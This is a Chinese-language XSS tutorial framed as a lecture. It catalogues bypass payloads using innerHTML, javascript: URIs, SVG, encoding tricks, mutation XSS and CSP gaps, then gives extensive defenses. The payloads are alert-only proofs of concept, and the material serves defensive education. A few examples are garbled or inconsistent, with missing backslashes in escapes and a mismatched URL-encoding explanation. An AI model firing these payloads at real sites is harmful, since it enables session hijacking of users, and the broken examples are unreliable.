XSS 进阶:利用 `innerHTML`、`javascript:` 伪协议与 SVG 标签的绕过技巧

各位听众,下午好!欢迎来到今天的技术讲座。在网络安全的领域中,跨站脚本(Cross-Site Scripting, XSS)攻击始终占据着一个重要位置。尽管防御技术日益成熟,但攻击者也在不断演进他们的技巧。今天,我们将深入探讨XSS攻击中的一些进阶玩法,特别是如何利用innerHTML属性、javascript:伪协议以及SVG标签来绕过常见的防护机制,实现攻击。

XSS攻击的基石与演进

XSS是一种注入攻击,攻击者通过在受信任的网站中注入恶意脚本,当其他用户浏览该网站时,这些脚本就会在他们的浏览器上执行。这些恶意脚本可以窃取用户的会话Cookie、修改网页内容、重定向用户到恶意网站,甚至利用浏览器漏洞进行更深层次的攻击。

传统的XSS攻击通常聚焦于直接注入<script>标签。然而,随着Web开发的进步和安全意识的提高,许多现代Web应用都实现了对<script>标签的过滤。这就迫使攻击者寻找新的、更隐蔽的攻击向量。今天我们将要探讨的innerHTMLjavascript:伪协议和SVG标签,正是这些高级绕过技巧的典型代表。

一、innerHTML:危险的DOM操作接口

innerHTML属性是JavaScript中一个强大且常用的DOM操作接口,它允许我们直接获取或设置一个元素内部的HTML内容。其便利性不言而喻,但如果处理用户提供的不可信数据时,不进行充分的过滤和编码,innerHTML就会成为XSS攻击的温床。

1.1 innerHTML 的基本利用

假设一个Web应用允许用户提交评论,并将评论内容直接赋值给某个元素的innerHTML

// 后端或前端获取用户提交的评论内容
const userComment = "<p>这是一条用户评论。</p>"; // 假设用户提交了正常的HTML
document.getElementById("comment-display").innerHTML = userComment;

如果攻击者提交如下内容:

<img src="x" onerror="alert('XSS via innerHTML!')">

当这段内容被赋值给innerHTML时,浏览器会尝试解析它。<img>标签的src="x"会加载失败,从而触发onerror事件,执行alert('XSS via innerHTML!')

更直接的脚本注入:

<script>alert('XSS via innerHTML!')</script>

这段代码同样会被执行。许多WAF和前端过滤会尝试移除<script>标签,但还有其他方式。

1.2 innerHTML 与上下文执行:不仅仅是<script>

innerHTML的危险之处在于它不仅能插入HTML元素,更重要的是,浏览器在解析这些HTML时,会根据上下文执行其中的JavaScript代码。这包括:

  • 事件属性(Event Attributes):如onload, onerror, onclick, onmouseover等。
  • URL属性(URL Attributes):如href, src, data等,它们可以接受javascript:伪协议。
  • HTML标签自身:如<style><object><embed><iframe>等,它们都可以包含或引用可执行内容。

案例分析:绕过<script>标签过滤

如果一个系统过滤了<script>标签,我们可以转向利用事件属性。

// 假设用户输入经过了<script>标签的过滤
const sanitizedInput = `<img src="nonexistent.png" onerror="alert('XSS by onerror!')">`;
document.getElementById("content").innerHTML = sanitizedInput;

这里,即使<script>被移除了,<img>标签的onerror事件仍然能够触发。常见的可利用事件属性有很多,例如:

标签 事件属性 描述
<img> onerror 图片加载失败时触发
<body> onload 页面或框架加载完成时触发
<a> onclick, onmouseover 链接被点击或鼠标悬停时触发
<svg> onload, onanimationend SVG元素加载完成或动画结束时触发
<video> onplay, onerror 视频播放或加载错误时触发
<form> onsubmit 表单提交时触发
<iframe> onload Iframe加载完成时触发

利用HTML实体编码绕过

某些过滤器可能只会简单地查找字符串中的字面量,例如onerror。这时,HTML实体编码就可以派上用场。

<img src="x" on&#x65;rror="alert('XSS by encoded onerror!')">

这里的&#x65;是字符e的十六进制HTML实体编码。当浏览器解析innerHTML时,它会先解码HTML实体,然后再解析HTML结构和属性,从而使onerror事件被识别并触发。

利用CSS表达式(IE Only,已废弃)

虽然在现代浏览器中已不再适用,但了解历史上的攻击方式有助于理解XSS的演变。IE浏览器曾支持在CSS中使用expression()来执行JavaScript。

<div style="width: expression(alert('XSS by CSS expression!'))"></div>

当这个div被渲染时,expression内的代码就会执行。

1.3 innerHTML 与 Mutation XSS

Mutation XSS (MXSS) 是一种特殊的XSS,它发生在浏览器对DOM进行“修复”或“重构”时。当某些HTML片段通过innerHTML或其他DOM操作被插入后,浏览器可能会自动调整这些HTML,使其符合W3C标准或内部解析规则,而这种调整有时会意外地创建出可执行的XSS向量。

示例:不完整的HTML标签

假设一个过滤器移除了所有可疑的HTML标签,但保留了部分字符。

// 假设用户输入:
const userInput = `<<img src="x" onerror="alert('MXSS!')">`;
// 经过某种不完善的过滤,可能变成:
// 过滤器移除了第一个 <,或者仅仅因为不完整而认为无害
// 但如果保留了部分:
const filteredInput = `<img src="x" onerror="alert('MXSS!')">`; // 假设过滤器没有处理好
document.getElementById("content").innerHTML = filteredInput;

更复杂的Mutation XSS通常涉及浏览器对不规范HTML的容错处理。例如:

<noscript><p title="</noscript><img src=x onerror=alert(1)>">

当这段HTML被插入到innerHTML中时,浏览器会尝试修复不匹配的<noscript>标签。在某些情况下,它可能会将</noscript>解析为结束标签,从而导致后面的<img>标签及其onerror属性被激活。

另一个常见的Mutation XSS场景是与SVG结合,我们将在后面详细讨论。

防御innerHTML的建议:

  • 避免使用innerHTML:如果可能,尽量使用textContentinnerText来插入纯文本内容。
  • 白名单过滤:对允许的HTML标签和属性进行严格的白名单过滤,而不是黑名单。
  • 上下文敏感编码:根据输出的HTML上下文,对用户输入进行适当的编码。
  • 使用DOMPurify等库:对于必须接收HTML内容的场景,使用成熟的HTML净化库(如DOMPurify)来安全地处理用户输入。

二、javascript: 伪协议:隐藏的执行通道

javascript:伪协议是一种特殊的URI方案,它允许在浏览器中执行JavaScript代码。当浏览器遇到一个以javascript:开头的URI时,它会将其后的内容作为JavaScript代码来执行。这个特性在许多地方都可能被利用,尤其是在那些期望URL作为输入的场景。

2.1 javascript: 伪协议的基本原理与利用

最常见的利用方式是在<a>标签的href属性中:

<a href="javascript:alert('XSS via javascript: pseudo-protocol!')">点击我</a>

当用户点击这个链接时,alert('XSS via javascript: pseudo-protocol!')就会执行。

除了<a>标签,javascript:伪协议还可以出现在其他期望URL的属性中:

  • <iframe>src属性
    <iframe src="javascript:alert('XSS in iframe!')"></iframe>

    这会在iframe内部执行JavaScript。

  • <img>src属性(通常不可行)
    通常情况下,<img>标签的src属性不直接支持javascript:伪协议,因为它期望的是图片数据。但在某些浏览器或特定上下文下,可能存在解析漏洞。不过,更常见的是利用onerror
  • location.hrefwindow.open()
    在JavaScript代码中,如果将用户输入拼接到location.hrefwindow.open()中,也可能导致XSS。

    const userUrl = "javascript:alert('XSS via location.href!')";
    window.location.href = userUrl;

    这会导致当前页面跳转并执行JavaScript。

2.2 绕过URL过滤和编码

许多Web应用会尝试过滤URL,移除javascript:前缀。攻击者可以通过多种编码和混淆技术来绕过这些过滤器。

URL编码

最常见的绕过方式是URL编码。例如,将:编码为%3a

<a href="java%73cript:alert('XSS via URL encoding!')">点击我</a>

这里的%73s的URL编码。通常,浏览器在解析href属性时会先进行URL解码,然后再识别javascript:伪协议。

十六进制编码/Unicode编码

一些浏览器和解析器可能支持更复杂的编码。

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('XSS via HTML entity encoding!')">点击我</a>

这里,javascript:被完全转换为HTML实体编码。当HTML被解析后,这些实体会被解码回原始字符。

Unicode字符集混淆

在某些旧的或不严格的过滤器中,可以使用宽字符或特殊Unicode字符来混淆javascript:字符串。例如,使用全角字符:

<a href="javascript:alert('XSS via full-width chars!')">点击我</a>

这在现代浏览器和严格的过滤器中很少有效,但说明了尝试不同字符集混淆的可能性。

换行符和制表符

在某些URL解析器中,javascript:伪协议的某些部分可以包含换行符或制表符,而浏览器仍能正确识别。

<a href="javascript
:alert('XSS with newline!')">点击我</a>

这通常取决于具体浏览器和解析上下文。

data: URI 与 javascript: 的结合

data: URI允许我们将小文件(如图片、HTML、CSS或JavaScript)直接嵌入到HTML中,而无需外部请求。虽然它本身不是javascript:伪协议,但有时可以作为传递恶意内容的载体。

例如,一个iframesrc属性可以接受data: URI来加载一个包含XSS的HTML页面:

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTIHZpYSBkYXRhOicpPC9zY3JpcHQ+"></iframe>

PHNjcmlwdD5hbGVydCgnWFNTIHZpYSBkYXRhOicpPC9zY3JpcHQ+<script>alert('XSS via data:')</script>的Base64编码。这种方式可以绕过那些只关注http://https://的URL白名单。

2.3 javascript: 伪协议的防御建议

  • URL白名单:严格限制允许的URL协议,只允许http://https://等安全协议。
  • URL解析库:使用安全的URL解析库来处理用户提供的URL,而不是手动字符串操作。
  • 上下文敏感编码:在将用户输入插入到URL上下文中时,进行严格的URL编码,并确保不解码javascript:伪协议。
  • CSP策略:通过Content Security Policy (CSP) 禁用unsafe-inlinedata: URI,并限制script-src来源,可以有效阻止javascript:伪协议的执行。

三、SVG标签:艺术与攻击的交汇

可伸缩矢量图形(Scalable Vector Graphics, SVG)是一种基于XML的图像格式,用于描述二维矢量图形。由于SVG本身就是XML文档,它可以包含脚本和事件处理器,这使其成为XSS攻击的强大载体。

3.1 SVG中的脚本执行能力

SVG文件可以包含<script>标签,就像HTML一样。

<!-- example.svg -->
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100">
  <script type="text/javascript">
    alert('XSS from inline SVG script!');
  </script>
</svg>

如果这个SVG文件被加载到浏览器中(例如,通过<img><iframe>),其中的脚本就会执行。

3.2 SVG中的事件处理器

与HTML元素类似,SVG元素也支持各种事件处理器,如onload, onclick, onerror, onmouseover等。

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100">
  <rect x="0" y="0" width="200" height="100" fill="red"
        onload="alert('XSS from SVG onload event!')" />
</svg>

当这个SVG被加载时,rect元素的onload事件就会触发。

常见的可利用SVG标签和属性:

SVG标签/元素 可利用属性/事件 描述
<svg> onload, <script> SVG根元素,可直接包含脚本或事件
<animate> onbegin, onend 动画开始或结束时触发
<set> onbegin 设置属性时触发
<use> xlink:href 引用外部资源,可导致SSRF或XSS
<image> xlink:href, onerror 引用外部图片,onerror可触发
<rect>, <circle>, <path> onload, onclick, onmouseover 各种图形元素,支持事件处理器
<a> xlink:href SVG中的链接,支持javascript:伪协议

3.3 SVG作为攻击载体的多种形式

SVG的强大之处在于它可以以多种形式被嵌入到HTML页面中,每种形式都有其独特的攻击潜力。

a) 作为<img>标签的src

通常,<img>标签加载SVG文件时,会禁用其中的脚本。这是浏览器的一种安全机制。

<img src="malicious.svg">

然而,如果SVG文件本身包含data: URI,并且内容类型被错误处理,则可能绕过此限制。例如,如果浏览器将data:image/svg+xml;base64,...解析为HTML上下文,而非图像上下文。

b) 作为<iframe><object>标签的src/data

这是最直接且强大的方式。<iframe><object>标签会创建一个独立的浏览上下文,并完全解析和执行SVG中的脚本。

<iframe src="malicious.svg"></iframe>
<object data="malicious.svg" type="image/svg+xml"></object>

这种方式常常用于绕过那些只过滤<img>标签的防御。

c) 直接内联SVG到HTML中

将SVG代码直接嵌入到HTML文档中,此时SVG元素被视为DOM的一部分,其中的脚本和事件处理器将与页面的其他脚本在同一上下文中执行。

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert('XSS from inline HTML SVG!')</script>
</svg>

如果用户输入可以控制HTML的innerHTML,那么内联SVG是一个非常有效的攻击手段。

d) SVG与data: URI结合

将恶意SVG代码Base64编码后,通过data: URI嵌入到HTML中。

<img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoJ1hTUycpPC9zY3JpcHQ+PC9zdmc+" />

这里的Base64编码内容是<svg xmlns="http://www.w3.org/2000/svg"><script>alert('XSS')</script></svg>
在某些浏览器或旧版本中,<img>标签加载data:image/svg+xml时,其中的脚本会被执行。这是一个著名的绕过技巧,尤其是在CSP不严格的情况下。

3.4 绕过Content-Type检查

有时,服务器会根据文件扩展名或MIME类型来判断文件内容。攻击者可以通过上传一个名为image.svg但实际内容是HTML或脚本的文件,然后通过某种方式使其以错误的MIME类型被渲染。

例如,一个上传接口允许上传图片,并检查MIME类型为image/pngimage/jpeg。但如果它允许上传image/svg+xml,并且在查看时没有正确设置X-Content-Type-Options: nosniff头部,那么浏览器可能会“嗅探”到其内部的HTML或脚本并执行。

SVG与Mutation XSS的结合

SVG标签的解析复杂性也使其成为Mutation XSS的沃土。例如,在某些浏览器中,不完整的SVG标签结构可能会被浏览器“修复”,从而产生XSS。

<svg><script>//<![CDATA[
alert('XSS via CDATA in SVG script!');
//]]></script>

<![CDATA[ 块通常用于在XML中包含不应被解析为XML标记的文本。如果过滤器未能正确处理CDATA块,或者在解析后对其进行了不当的“修复”,可能导致脚本执行。

3.5 SVG的防御建议

  • 严格的MIME类型验证:在文件上传时,不仅检查文件扩展名,还要严格验证实际的文件内容MIME类型。
  • 内容安全策略(CSP)
    • img-src:限制<img>标签的来源,避免加载不受信任的data: URI或外部SVG。
    • script-src:严格限制可执行脚本的来源,禁用unsafe-inlineunsafe-eval
    • object-src:限制<object><embed>等标签的来源。
    • frame-src:限制<iframe>的来源。
  • SVG净化:如果必须允许用户上传或嵌入SVG,使用专业的SVG净化库(如DOMPurify)来移除所有可执行内容。
  • X-Content-Type-Options: nosniff:在提供用户上传内容时,设置此HTTP头部,防止浏览器进行MIME类型嗅探。

四、高级绕过策略的编织

以上我们分别探讨了innerHTMLjavascript:伪协议和SVG标签的利用。在实际攻击中,这些技术往往不是孤立使用的,而是相互结合,形成更复杂的绕过策略。

4.1 编码和混淆的艺术

攻击者会利用各种编码和混淆技术来绕过过滤器。

a) 多层编码

当过滤器在处理输入时,可能只进行一次解码。如果攻击者进行多次编码,就有可能绕过。

例如,一个过滤器移除了onerror,但允许URL编码。
攻击者提交:on%2565rror (双重URL编码的onerror)
过滤器解码一次:on%65rror (仍然无法识别)
innerHTML或浏览器最终解码:onerror (触发)

b) Unicode转义

JavaScript字符串支持Unicode转义序列,如u0061表示字符a

<img src="x" onerror="alu0065rt('XSS by Unicode escape!')">

这种方式对JavaScript字符串有效,但在HTML属性中直接使用通常需要HTML实体编码。

c) 零宽度字符

在某些不严格的过滤器中,插入零宽度字符(如&#x200B;)可能扰乱过滤器的正则匹配,但浏览器在渲染时会忽略它们。

<img src="x" on&#x200B;error="alert('XSS!')">

这种技巧的效果取决于过滤器的具体实现。

4.2 利用浏览器解析差异

不同的浏览器、甚至同一浏览器的不同版本,在解析不规范HTML时可能会有细微的差异。攻击者会利用这些差异来构造XSS。

a) 标签闭合与属性注入

如果输入被插入到某个属性值中,但没有被正确引用或编码,攻击者可以提前闭合属性,注入新属性或标签。

<input type="text" value="USER_INPUT">

如果USER_INPUT" onfocus="alert('XSS!')",则最终HTML会变成:

<input type="text" value="" onfocus="alert('XSS!')">

导致XSS。

b) <textarea><title> 标签的特殊性

<textarea><title>标签内部的内容通常被视为纯文本,直到遇到它们的闭合标签。这意味着在它们内部,<script>等标签不会被解析。

<textarea>用户输入:<script>alert('不会执行')</script></textarea>

然而,如果攻击者能闭合<textarea>,再注入自己的标签:

<textarea>用户输入:</textarea><img src="x" onerror="alert('XSS!')">

这就会导致XSS。

4.3 结合CSP绕过

Content Security Policy (CSP) 是现代Web防御XSS的重要手段。然而,CSP本身也可能被绕过。

a) 开放的JSONP端点

如果CSP允许加载来自某些域的脚本,而这些域又托管了开放的JSONP端点,攻击者就可以利用这些端点来执行任意代码。

例如,CSP允许script-src 'self' https://example.com;
如果https://example.com/jsonp?callback=alert(document.domain)返回alert(document.domain)({"data":"..."});,那么攻击者可以构造:

<script src="https://example.com/jsonp?callback=alert(document.domain)"></script>

来执行JavaScript。

b) 允许data: URI的CSP

如果CSP配置允许data: URI (script-src 'self' data:),那么前面提到的data:text/html;base64,...data:image/svg+xml;base64,...就可能成为XSS的攻击面。

c) 滥用Hash-based CSP

一些CSP策略使用哈希值来允许特定的内联脚本块。如果应用动态生成脚本,并且哈希值被泄露或可预测,攻击者可以利用它。

4.4 DOM XSS与反射/存储型XSS的结合

DOM XSS发生在客户端,通过修改DOM环境来触发。反射型和存储型XSS则涉及服务器端将恶意数据返回给客户端。高级攻击往往是这三者的结合。

例如,一个存储型XSS漏洞允许攻击者在数据库中存储恶意HTML。当这个HTML被加载到客户端,并由JavaScript代码(例如,通过document.write()element.innerHTML)处理时,就可能触发DOM XSS。

五、构建坚固的防御体系

面对如此多变的XSS攻击手法,我们需要一套多层次、纵深防御的策略。

5.1 输入验证与净化

  • 白名单验证:这是最严格也是最安全的策略。只允许已知安全的字符集、标签和属性。所有不在白名单中的内容都将被移除或拒绝。
  • 上下文敏感的输出编码:根据数据输出到HTML的不同上下文(HTML内容、属性值、JavaScript字符串、URL等),选择最合适的编码方式。
    • HTML内容:使用HTMLEncode(如&lt; for <)。
    • HTML属性:使用HTMLAttributeEncode(如&#x22; for ")。
    • JavaScript字符串:使用JavaScriptEncode(如x3c for <)。
    • URL:使用URLEncode(如%3c for <),并严格限制协议。
  • 使用DOMPurify等HTML净化库:对于必须接受和渲染用户提供的HTML的场景,使用经过充分测试和广泛使用的HTML净化库。DOMPurify通过严格的白名单策略和DOM解析来确保输出的HTML是安全的。

5.2 内容安全策略(CSP)

CSP是W3C标准的安全机制,通过HTTP头部告诉浏览器哪些资源(脚本、样式、图片等)可以被加载和执行。

  • 严格的script-src:只允许加载来自可信域的脚本,并禁用unsafe-inlineunsafe-eval
    Content-Security-Policy: script-src 'self' https://trusted.cdn.com;
  • 限制其他资源:同样对img-src, style-src, font-src, media-src, object-src, frame-src等进行限制。
  • default-src:定义所有未明确指定类型的资源的默认策略。
  • report-urireport-to:配置报告XSS尝试的URL,以便监控和分析攻击。

5.3 HTTP头部安全增强

  • X-Content-Type-Options: nosniff:阻止浏览器对响应内容进行MIME类型嗅探,强制使用Content-Type头部声明的类型,防止SVG或其他文件被错误解析为HTML。
  • X-XSS-Protection: 0:现代浏览器已弃用X-XSS-Protection头部,并建议将其设置为0以禁用浏览器内置的XSS过滤器,因为这些过滤器有时可能引入新的安全漏洞。CSP才是推荐的防御手段。

5.4 现代前端安全特性

  • Trusted Types:这是一个较新的浏览器安全特性,旨在从根本上防止DOM XSS。它通过强制对可能导致DOM XSS的API(如innerHTMLsetAttribute等)进行类型检查,确保只有经过“信任”的、安全的数据才能赋值给这些API。
    • 它需要严格的CSP配置,如require-trusted-types-for 'script'
    • 开发者需要显式地将数据标记为TrustedHTML、TrustedScript等,或者使用安全函数来生成这些类型。
      // 假设通过DOMPurify净化后的HTML
      const sanitizedHtml = DOMPurify.sanitize(userInput, { RETURN_TRUSTED_TYPE: true });
      // 只有TrustedHTML类型的值才能赋值给innerHTML
      document.getElementById("content").innerHTML = sanitizedHtml;
  • Web Components (Shadow DOM):Shadow DOM可以将组件的内部结构与外部文档隔离,提供更好的封装性。虽然它本身不是XSS防护机制,但它可以在一定程度上限制恶意脚本对整个页面的影响范围。

5.5 开发流程中的安全实践

  • 安全编码培训:对开发人员进行定期的安全编码培训,提高对XSS及其他安全漏洞的认识。
  • 代码审查:在代码发布前,进行严格的代码审查,特别是对涉及用户输入的DOM操作进行重点关注。
  • 自动化安全测试:集成SAST(静态应用安全测试)和DAST(动态应用安全测试)工具到CI/CD流程中,自动发现潜在的XSS漏洞。
  • 安全库和框架:优先使用自带安全防护机制的现代Web框架(如React, Angular, Vue),它们在一定程度上能自动处理输出编码。

结语

XSS攻击的演进永无止境,攻击者总能找到新的绕过技巧。从innerHTML的滥用,到javascript:伪协议的隐蔽执行,再到SVG标签的强大潜能,这些都要求我们作为防御者,必须对这些高级技术有深入的理解。唯有持续学习,并采用多层次、全方位的防御策略,才能有效地保护我们的Web应用和用户免受XSS的威胁。安全是一个持续的对抗过程,没有一劳永逸的解决方案,只有不断进步的防护体系。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注